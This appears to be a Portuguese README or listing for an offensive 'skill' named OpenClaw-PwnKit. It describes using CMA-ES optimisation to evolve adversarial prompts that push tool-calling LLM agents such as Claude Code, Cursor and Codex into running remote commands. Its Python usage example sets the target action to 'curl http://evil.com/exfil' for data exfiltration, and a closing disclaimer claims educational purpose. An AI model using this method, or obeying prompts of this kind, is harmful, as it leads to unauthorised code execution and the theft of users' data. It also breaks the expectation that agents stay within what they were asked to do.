O que OpenClaw-PwnKit faz?
Demonstra ataques adversariais em caixa preta sobre chamadas de ferramentas de LLM para contornar a segurança e executar código remoto usando otimização CMA-ES.
Visão Geral
Esta skill explora vulnerabilidades em sistemas de LLM que integram chamadas de ferramentas externas. Através de um algoritmo evolutivo (CMA-ES), ela gera automaticamente prompts adversariais que levam o modelo a executar comandos remotos não autorizados, como curl para exfiltração de dados ou execução de scripts arbitrários.
Como Funciona
- Definição do alvo: A skill define um LLM com acesso a ferramentas (ex.: execução de código Python, acesso a sistema de arquivos).
- Geração de sementes: Um conjunto inicial de prompts adversariais é criado com variações sutis.
- Otimização CMA-ES: O algoritmo CMA-ES itera sobre os prompts, ajustando-os para maximizar a probabilidade de o LLM executar uma ação maliciosa (ex.:
subprocess.run). - Execução do ataque: O prompt otimizado é enviado ao LLM, que, se enganado, executa o código remoto.
Plataformas Suportadas
- Claude Code
- Cursor
- Codex
- Outros LLMs com capacidades de chamada de ferramentas
Requisitos
- Python 3.8+
- Biblioteca
cma(pip install cma) - Acesso a um LLM com API de chamada de ferramentas (ex.: OpenAI API, Anthropic API)
Exemplo de Uso
from openclaw_pwnkit import PwnKit
# Configurar o ataque
atk = PwnKit(model="gpt-4", tool_set=["python", "bash"])
# Executar otimização
optimal_prompt = atk.optimize(target_action="curl http://evil.com/exfil")
# Enviar ao LLM
response = atk.send(optimal_prompt)
print("Ataque bem-sucedido:", response)
Aviso Legal
Esta skill é destinada apenas para fins educacionais e de pesquisa em segurança. O uso não autorizado contra sistemas em produção é ilegal e antiético. Os autores não se responsabilizam por quaisquer danos ou violações legais decorrentes do uso indevido.